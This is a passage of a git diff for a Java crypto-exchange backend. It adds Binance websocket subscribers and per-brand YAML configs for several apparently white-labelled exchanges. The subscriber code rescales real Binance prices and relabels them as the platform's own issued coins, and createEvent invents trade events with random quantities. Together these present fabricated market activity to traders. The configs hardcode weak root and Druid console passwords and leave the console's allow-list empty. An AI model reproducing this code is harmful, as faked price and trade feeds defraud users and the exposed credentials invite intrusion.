{ + + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITSymbolManageService tSymbolManageService; + @Resource + private IKlineSymbolService klineSymbolService; + + @Resource + private WebSocketUserManager webSocketUserManager; + @Resource + private ITOwnCoinService ownCoinService; + + public WebSocketSubscriber webSocketSubscriberKline() { + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("binance"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("binance"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol()); + } + + //兑换 + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tSymbolManages = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + for (TSymbolManage symbolManage : tSymbolManages) { + strings.add(symbolManage.getSymbol()+"usdt"); + } + //发币 和 自发币 + KlineSymbol klineSymbol = new KlineSymbol().setMarket("echo"); + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + for (KlineSymbol kline : list) { + strings.add(kline.getReferCoin()+"usdt"); + } + StringBuffer sb = new StringBuffer(); + for (String coin: strings) { + sb=sb.append(coin).append("@kline_1m/"); + } + String substring = sb.substring(0, sb.length() - 1); + System.out.println("substring:"+substring); + + + URI socket = URI.create("wss://stream.binance.com:9443/ws/"+substring); + // URI socket = URI.create("wss://data-stream.binance.vision/ws/"+substring); + + //int port = socket.getPort(); + //System.out.println("Port: " + port); + + return new WebSocketSubscriber(socket, new Draft_6455(),list,webSocketUserManager,strings); + } + + public WebSocketSubscriber webSocketSubscriberDetail() { + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("binance"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("binance"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol()); + } + + //兑换 + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tSymbolManages = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + for (TSymbolManage symbolManage : tSymbolManages) { + strings.add(symbolManage.getSymbol()+"usdt"); + } + //发币 和 自发币 + KlineSymbol klineSymbol = new KlineSymbol().setMarket("echo"); + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + for (KlineSymbol kline : list) { + strings.add(kline.getReferCoin()+"usdt"); + } + + URI socket =URI.create("wss://stream.binance.com:9443/ws/!ticker@arr"); + // URI socket =URI.create("wss://data-stream.binance.vision/ws/!ticker@arr"); + + return new WebSocketSubscriber(socket, new Draft_6455(),list,webSocketUserManager,strings); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketRunner.java b/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketRunner.java new file mode 100644 index 0000000..a78fd39 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketRunner.java @@ -0,0 +1,60 @@ +package com.ruoyi.websocket; + +import com.ruoyi.common.utils.DateUtils; +import lombok.Data; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.CommandLineRunner; + +import org.springframework.context.annotation.Configuration; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.URI; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; +import java.util.Objects; + +@Slf4j +@Configuration +public class WebSocketRunner implements CommandLineRunner { + + @Resource + private WebSocketConfigdd webSocketConfigdd; + + + private Map map=new HashMap<>(); + @Override + public void run(String... args) { + //System.setProperty("https.protocols", "TLSv1,TLSv1.1,TLSv1.2"); + WebSocketSubscriber webSocketSubscriberKline = webSocketConfigdd.webSocketSubscriberKline(); + WebSocketSubscriber webSocketSubscriberDetail = webSocketConfigdd.webSocketSubscriberDetail(); + + //Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 33210)); + // + //webSocketSubscriberKline.setProxy(proxy); + //webSocketSubscriberDetail.setProxy(proxy); + + webSocketSubscriberKline.connect(); + webSocketSubscriberDetail.connect(); + map.put("kline",webSocketSubscriberKline); + map.put("detaul",webSocketSubscriberDetail); + } + public void reStart(String... args) throws InterruptedException { + WebSocketSubscriber webSocketSubscriberKline = (WebSocketSubscriber) map.get("kline"); + WebSocketSubscriber webSocketSubscriberDetail = (WebSocketSubscriber) map.get("detaul"); + webSocketSubscriberKline.onClose(-1,null,true); + webSocketSubscriberDetail.onClose(-1,null,true); + WebSocketSubscriber webSocketSubscriber1 = webSocketConfigdd.webSocketSubscriberKline(); + WebSocketSubscriber webSocketSubscriber2 = webSocketConfigdd.webSocketSubscriberDetail(); + map.put("kline",webSocketSubscriber1); + map.put("detaul",webSocketSubscriber2); + webSocketSubscriber1.connect(); + webSocketSubscriber2.connect(); + + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketSubscriber.java b/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketSubscriber.java new file mode 100644 index 0000000..36e77a6 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketSubscriber.java @@ -0,0 +1,221 @@ +package com.ruoyi.websocket; + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.socket.manager.WebSocketUserManager; +import lombok.Data; +import lombok.extern.slf4j.Slf4j; +import org.java_websocket.client.WebSocketClient; +import org.java_websocket.drafts.Draft; +import org.java_websocket.handshake.ServerHandshake; +import org.springframework.stereotype.Component; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.net.URI; +import java.util.*; + +@Slf4j +public class WebSocketSubscriber extends WebSocketClient { + private static final long RECONNECT_INTERVAL = 5000; // 重连间隔,单位:毫秒 + + private Timer reconnectTimer; + private WebSocketUserManager webSocketUserManager; + private Set allCoins; + + private List coinList; + + public WebSocketSubscriber(URI serverUri, Draft draft, List coinList, WebSocketUserManager webSocketUserManager, Set allCoins) { + super(serverUri, draft); + reconnectTimer = new Timer(); + this.coinList = coinList; + this.webSocketUserManager = webSocketUserManager; + this.allCoins = allCoins; + } + + @Override + public void onOpen(ServerHandshake serverHandshake) { + log.info("WebSocket connection opened."); + } + + @Override + public void onMessage(String message) { + // 处理接收到的消息 + // 如果收到服务器发送的ping帧,回复pong帧 + if (message.equals("Ping")) { + send("Pong"); + } + //处理k线是数据 + if(message.contains("kline")){ + JSONObject obj = JSON.parseObject(message); + String event = obj.toString(); + JSONObject jsonObject = JSON.parseObject(message); + webSocketUserManager.binanceKlineSendMeg(event); + String s = event; + //kline 逻辑 分发 和 控币 异步 + for (KlineSymbol kSymbol : coinList) { + if((jsonObject.getString("s").toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event = ownKline(s, kSymbol); + webSocketUserManager.binanceKlineSendMeg(event); + } + } + s = createEvent(s); + webSocketUserManager.binanceTRADESendMeg(s); + for (KlineSymbol kSymbol : coinList) { + if((jsonObject.getString("s").toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event = ownTrade(s, kSymbol); + webSocketUserManager.binanceTRADESendMeg(event); + } + } + } + //处理detail + if(message.contains("24hrTicker")){ + JSONArray arr = JSONArray.parseArray(message); + for (int i = 0; i < arr.size(); i++) { + JSONObject obj = JSON.parseObject(arr.get(i).toString()); + String event = obj.toString(); + webSocketUserManager.savePriceRdies(event); + if(allCoins.contains(obj.getString("s").toLowerCase())){ + webSocketUserManager.binanceDETAILSendMeg(event); + String s = event; + for (KlineSymbol kSymbol : coinList) { + if((obj.getString("s").toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event= ownDetail(s,kSymbol); + webSocketUserManager.binanceDETAILSendMeg(event); + } + } + } + } + } + + } + + @Override + public void onClose(int code, String reason, boolean remote) { + System.out.println("WebSocket connection closed. Code: " + code + ", Reason: " + reason); + if(-1 != code){ + reconnectWebSocket(); + } + } + + @Override + public void onError(Exception e) { + System.err.println(e); + System.err.println("WebSocket error: " + e.getMessage()); + reconnectWebSocket(); + } + + private void reconnectWebSocket() { + reconnectTimer.schedule(new TimerTask() { + @Override + public void run() { + reconnect(); + System.out.println("Attempting to reconnect to WebSocket..."); + } + }, RECONNECT_INTERVAL); + } + + private String ownDetail(String event,KlineSymbol kSymbol) { + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + BigDecimal o = new BigDecimal(jsonObject.getString("o")); + BigDecimal h = new BigDecimal(jsonObject.getString("h")); + BigDecimal l = new BigDecimal(jsonObject.getString("l")); + BigDecimal c = new BigDecimal(jsonObject.getString("c")); + BigDecimal q = new BigDecimal(jsonObject.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + private String ownTrade(String event,KlineSymbol kSymbol ) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal p = new BigDecimal(jsonObject.getString("p")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("p",p.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + + private String ownKline(String event,KlineSymbol kSymbol) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + JSONObject k = jsonObject.getJSONObject("k"); + BigDecimal o = new BigDecimal(k.getString("o")); + BigDecimal h = new BigDecimal(k.getString("h")); + BigDecimal l = new BigDecimal(k.getString("l")); + BigDecimal c = new BigDecimal(k.getString("c")); + BigDecimal q = new BigDecimal(k.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("k",k); + return jsonObject.toJSONString(); + } + private String createEvent(String event) { + JSONObject jsonObject = JSONObject.parseObject(event); + String k = jsonObject.getString("k"); + JSONObject K = JSONObject.parseObject(k); + + String s = jsonObject.getString("s"); + String E = jsonObject.getString("E"); + String T = K.getString("T"); + + BigDecimal p =new BigDecimal(K.getString("c")); + BigDecimal q = null; + // 根据价格 生成随机成交数量 0-1 50--2000 价格 1-10 200以内 价格 10-50 0-20 价格50-5000 0.00005000 以内随机数 5000+以上 0.000005000 + Integer randomBoolean=new Random().nextInt(2); //这儿是生成的小于100的整数,nextInt方法的参数值要是大于0的整数 + Boolean m = randomBoolean>0?true:false; + // 产生一个2~100的数 + if(p.compareTo(BigDecimal.ONE)<0){ + int min = 50; // 定义随机数的最小值 + int max = 2000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("1"))>0 && p.compareTo(new BigDecimal("10"))<0){ + int max = 2000; // 定义随机数的最大值 + Integer random = (int) (Math.random() * (max)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("10"))>0 && p.compareTo(new BigDecimal("50"))<0){ + int max = 20; // 定义随机数的最大值 + Integer random = + (int) (Math.random() * (max)); + q=new BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("50"))>0 && p.compareTo(new BigDecimal("5000"))<0){ + int min = 50; // 定义随机数的最小值 + int max = 5000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()).divide(new BigDecimal("1000000")); + } + if(p.compareTo(new BigDecimal("5000"))>0 ){ + int min = 50; // 定义随机数的最小值 + int max = 5000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()).divide(new BigDecimal("10000000")); + } + String str = "{'e':'aggTrade','E':'"+E+"','s':'"+s+"','p':'"+p+"','q':'"+q.toString()+"','T':'"+T+"','m':'"+m+"'}"; + return str; + } +} diff --git a/ruoyi-api/src/main/resources/META-INF/spring-devtools.properties b/ruoyi-api/src/main/resources/META-INF/spring-devtools.properties new file mode 100644 index 0000000..2b23f85 --- /dev/null +++ b/ruoyi-api/src/main/resources/META-INF/spring-devtools.properties @@ -0,0 +1 @@ +restart.include.json=/com.alibaba.fastjson.*.jar \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-aams.yml b/ruoyi-api/src/main/resources/application-aams.yml new file mode 100644 index 0000000..fe9c242 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-aams.yml @@ -0,0 +1,95 @@ +app: + name: aams +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/aams?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-bitbyex.yml b/ruoyi-api/src/main/resources/application-bitbyex.yml new file mode 100644 index 0000000..8feaa26 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-bitbyex.yml @@ -0,0 +1,96 @@ +app: + name: bitbyex +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bitbyex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-bitfly.yml b/ruoyi-api/src/main/resources/application-bitfly.yml new file mode 100644 index 0000000..c39a14b --- /dev/null +++ b/ruoyi-api/src/main/resources/application-bitfly.yml @@ -0,0 +1,95 @@ +app: + name: bityc +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bitfly?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-bitmake.yml b/ruoyi-api/src/main/resources/application-bitmake.yml new file mode 100644 index 0000000..b959578 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-bitmake.yml @@ -0,0 +1,95 @@ +app: + name: bitmake +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bitmake?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-bityc.yml b/ruoyi-api/src/main/resources/application-bityc.yml new file mode 100644 index 0000000..3c5ad7f --- /dev/null +++ b/ruoyi-api/src/main/resources/application-bityc.yml @@ -0,0 +1,95 @@ +app: + name: bityc +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bityc?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-bkfcoin.yml b/ruoyi-api/src/main/resources/application-bkfcoin.yml new file mode 100644 index 0000000..046c2e1 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-bkfcoin.yml @@ -0,0 +1,96 @@ +app: + name: bkfcoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bkfcoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-cmwoin.yml b/ruoyi-api/src/main/resources/application-cmwoin.yml new file mode 100644 index 0000000..1125602 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-cmwoin.yml @@ -0,0 +1,96 @@ +app: + name: cmwoin +# 开发环境配置 +server: + # 